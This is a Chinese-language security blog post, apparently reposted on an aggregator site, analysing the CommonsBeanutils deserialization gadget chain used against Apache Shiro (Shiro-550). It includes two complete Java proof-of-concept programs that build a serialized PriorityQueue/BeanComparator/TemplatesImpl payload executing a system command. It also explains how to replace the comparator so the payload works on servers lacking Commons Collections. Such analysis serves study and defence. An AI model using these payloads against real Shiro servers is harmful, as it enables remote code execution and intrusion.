Shiro安全(三):Shiro自身利用链之CommonsBeanutils

这篇具有很好参考价值的文章主要介绍了Shiro安全(三):Shiro自身利用链之CommonsBeanutils。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

0x00 前言

前面在利用shiro反序列化时,都是利用CC链,但是这需要服务端引入CommonsCollections组件。所以最好是找到一条shiro自身的利用链,而不需要任何的前提条件

在之前曾介绍过java.util.PriorityQueue,在反序列化这个对象时,为了保证队列顺序,会进行重排序的操作,而排序就涉 及到大小比较,进而执行 java.util.Comparator 接口的 compare() 方法。

是否能够找到其他的Comparator呢

0x01 利用链分析

/**
 * 利用链:
 *  PriorityQueue#readObject
 *    PriorityQueue#heapify
 *      PriorityQueue#siftDown
 *        PriorityQueue#siftDownUsingComparator
 *          BeanComparator#compare
 *            TemplatesImpl#getOutputProperties
 *              Runtime....
 */

这里引入Apache Commons Beanutils,它是是 Apache Commons 工具集下的另一个项目,它提供了对普通Java类对 象(也称为JavaBean)的一些操作方法。

在该项目中提供了一个静态方法PropertyUtils.getProperty

Shiro安全(三):Shiro自身利用链之CommonsBeanutils

该方法的作用是调用任意javabean的gettter方法

PropertyUtils.getProperty(new Cat(), "name")

这个时候会调用Cat对象的getname方法并返回

那如果我们传入的是恶意TemplatesImpl对象并且第二个参数是OutputProperties呢,此时就会进入调用TemplatesImpl#getOutputProperties从而触发后面的链子,这个在fastjson中讲到过。

此时我们就需要找到哪里利用了PropertyUtils.getProperty

org.apache.commons.beanutils.BeanComparator

Shiro安全(三):Shiro自身利用链之CommonsBeanutils

BeanComparator#compare方法就调用了PropertyUtils.getProperty

此时我们就能想起PriorityQueue那条cc链,我们可以将BeanComparator赋值到PriorityQueue中,利用PriorityQueue#readobject触发

package com.govuln.deserialization;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
public class CommonsBeanutils1 {
    public static void setFieldValue(Object obj, String fieldName, Object
            value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "Calc" + System.nanoTime();
        cc.setName(randomClassName);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));

        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{cc.toBytecode()});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        final BeanComparator comparator = new BeanComparator();
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,
                comparator);
// stub data for replacement later
        queue.add(1);
        queue.add(1);
        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});

        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./CommonsBeanutils.ser"));
        outputStream.writeObject(queue);
        outputStream.close();

        ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./CommonsBeanutils.ser"));
        inputStream.readObject();
        inputStream.close();
    }
}

成功触发计算器

Shiro安全(三):Shiro自身利用链之CommonsBeanutils

0x02 Shiro550利用

好了,现在利用链分析完了,现在该考虑如何在shiro中利用

这条链子依赖的是Commons Beanutils这个包,而这个包shiro它自带了,所以说是shiro自身的利用链

Shiro安全(三):Shiro自身利用链之CommonsBeanutils

我们生成这个链子的payload发送过去

期间可能会存在serialVersionUID错误,原因是因为本地Commons-Beanutils版本和服务端Commons-Beanutils版本不一致导致的

具体可看:P牛 安全漫谈第17篇

Shiro安全(三):Shiro自身利用链之CommonsBeanutils

报错了,报错如下

Shiro安全(三):Shiro自身利用链之CommonsBeanutils

意思就是comparablecomparator没找到,这个类可以看到是CC包里面的,服务器没有CC组件当然找不到

看一下我们在哪里用到了这个comparablecomparator

发现在初始化BeanComparator时给comparator赋了默认值ComparableComparator

Shiro安全(三):Shiro自身利用链之CommonsBeanutils

这个类时CC包里的,所以报错提示说找不到

Shiro安全(三):Shiro自身利用链之CommonsBeanutils

所以我们得自己找个comparator,其要满足以下条件

  • 实现 java.util.Comparator 接口
  • 实现 java.io.Serializable 接口
  • Java、shiro或commons-beanutils自带,兼容性强

最终找到了CaseInsensitiveComparator,这个类属于java.lang包下的,绝对兼容性强

Shiro安全(三):Shiro自身利用链之CommonsBeanutils

这个类从图中也可以看到可以通过String.CASE_INSENSITIVE_ORDER获取

那么最终POC就是

import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;

/**
 * P牛
 * 利用链:
 *  PriorityQueue#readObject
 *    PriorityQueue#heapify
 *      PriorityQueue#siftDown
 *        PriorityQueue#siftDownUsingComparator
 *          BeanComparator#compare
 *            TemplatesImpl#getOutputProperties
 *              Runtime....
 */

public class CommonsBeanutils1 {
    public static void setFieldValue(Object obj, String fieldName, Object
            value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "Calc" + System.nanoTime();
        cc.setName(randomClassName);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));

        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{cc.toBytecode()});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        final BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,
                comparator);
// stub data for replacement later
        queue.add(1);
        queue.add(1);
        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});

        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./CommonsBeanutils.ser"));
        outputStream.writeObject(queue);
        outputStream.close();

        ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./CommonsBeanutils.ser"));
        inputStream.readObject();
        inputStream.close();
    }
}

成功弹出计算器

Shiro安全(三):Shiro自身利用链之CommonsBeanutils

0x03 总结

  • 本文主要是要理解如何在没有CC组件等外部依赖的情况下,找到shiro自身的利用链来提高攻击的成功率
  • 主要使用到了commons-beanutils这个包中的BeanComparator类和PropertyUtils类

BeanComparator做为PriorityQueue的comparator

PropertyUtils.getProperty在BeanComparator#compare中被触发从而进入TemplatesImpl#getOutputProperties

PS:这条链子请注意有两处Comparator,第一个是PriorityQueue中的Comparator即BeanComparator,要利用其compare方法调用PropertyUtils.getProperty

而第二处Comparator是BeanComparator中的Comparator,这个是谁都不重要,因为我们只需要进入到compare方法中执行第一行代码就能命令执行

Shiro安全(三):Shiro自身利用链之CommonsBeanutils

0x04 文章参考

P牛 安全漫谈17篇

https://www.yuque.com/tianxiadamutou/zcfd4v/yzw734文章来源地址https://www.toymoban.com/news/detail-469748.html

到了这里,关于Shiro安全(三):Shiro自身利用链之CommonsBeanutils的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Shiro反序列化漏洞(CVE-2016-4437)+docker靶场+工具利用

    将java对象转换为字节序列(json/xml)的过程叫序列化,将字节序列(json/xml)恢复为java对象的过程称为反序列化。 Shiro框架提供了“记住我”的功能,用户登陆成功后会生成经过加密并编码的cookie,cookie的key为RememberMe,cookie的值是经过序列化的,使用AES加密,再使用base64编码

    2024年02月16日
    浏览(46)
  • 请简单介绍一下Shiro框架是什么?Shiro在Java安全领域的主要作用是什么?Shiro主要提供了哪些安全功能

    会话管理(Session Management):Shiro能够管理用户的会话状态,包括会话的创建、维护和销毁。它支持多种会话存储方式(如内存、数据库等),并提供了会话超时、会话失效等机制,以确保会话的安全性。 跨平台集成:Shiro不仅适用于Web应用程序,还可以轻松集成到桌面应用

    2024年04月13日
    浏览(60)
  • 请简单介绍一下Shiro框架是什么?Shiro在Java安全领域的主要作用是什么?Shiro主要提供了哪些安全功能?

    请简单介绍一下Shiro框架是什么? Shiro框架是一个强大且灵活的开源安全框架,为Java应用程序提供了全面的安全解决方案。它主要用于身份验证、授权、加密和会话管理等功能,可以轻松地集成到任何Java Web应用程序中,并提供了易于理解和使用的API,使开发人员能够快速实

    2024年04月11日
    浏览(58)
  • Shiro框架:Shiro SecurityManager安全管理器解析

    目录 1. SecurityManager介绍 1.1 Authenticator 1.2 Authorizer 1.3 SessionManager 2. DefaultWebSecurityManager解析 2.1 Destroyable 2.2 CacheManagerAware 2.3 EventBusAware 2.4 CachingSecurityManager(聚合缓存管理和事件监听管理功能) 2.5 RealmSecurityManager(聚合Realm管理功能) 2.6 AuthenticatingSecurityManager(聚合登

    2024年01月17日
    浏览(49)
  • SSM+Shiro安全框架整合(完成安全认证--登录+权限授权)+ssm整合shiro前后端分离

    目录 1.搭建SSM框架  1.1.引入相关的依赖 1.2. spring配置文件 1.3. web.xml配置文件 1.4.配置Tomcat并启动 2.ssm整合shiro---认证功能  (1).引入依赖 (2).修改spring配置文件 (3).修改web.xml文件 (4).新建login.jsp(登录页面) (5).新建success.jsp(登录成功后跳转到此) (6).创建User实体类 (7).创建LoginVo

    2024年02月15日
    浏览(46)
  • Shiro安全框架简介

    1.1 什么是权限管理 基本上只要涉及到用户参数的系统都要进行权限管理,使用权限管理实现了对用户访问系统的控制,不同的用户访问不同的资源。按照安全规则或者安全策略控制用户访问资源,而且只能访问被授权的资源 权限管理包括认证和授权两部分,当用户访问资源

    2023年04月20日
    浏览(43)
  • shiro 安全(权限)框架

    1.1、概述 Apache Shiro 是一个功能强大且易于使用的 Java 安全(权限)框架。Shiro 可以完成:认证、授权、加密、会话管理、与 Web 集成、缓存 等。借助 Shiro 您可以快速轻松地保护任何应用程序——从最小的移动应用程序到最大的 Web 和企业应用程序。 官网:https://shiro.apache.org/

    2024年02月06日
    浏览(47)
  • JAVA安全框架之shiro

    Apache Shiro 是一个功能强大且易于使用的 Java 安全(权限)框架 。Shiro 可以完 成: 认证、授权、加密、会话管理、与 Web 集成、缓存 等。借助 Shiro 您可以快速轻松 地保护任何应用程序——从最小的移动应用程序到最大的 Web 和企业应用程序。 官网 :https://shiro.apache.org/     s

    2024年02月15日
    浏览(52)
  • 网络安全从业人员应该如何提升自身的web渗透能力?

    前言 web 渗透这个东西学起来如果没有头绪和路线的话,是非常烧脑的。 理清 web 渗透学习思路,把自己的学习方案和需要学习的点全部整理,你会发现突然渗透思路就有点眉目了。 程序员之间流行一个词,叫 35 岁危机,,意思就是说 35 岁是个坎,容易被淘汰。 那么安全行

    2023年04月09日
    浏览(105)
  • shiro安全认证之FilterChainDefinitionMap

    最近在用shiro实现安全认证功能时发现一个问题 上图我们定义了一个LinkedHashMap,并往Map里面添加了两对键值对,然后执行  之后在将这两个键值对里面的值进行修改,但是没有执行上面的set操作,debug时发现,虽然没有执行set操作,但是FilterChainDefinitionMap里面的filterMap的键值

    2024年02月14日
    浏览(43)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包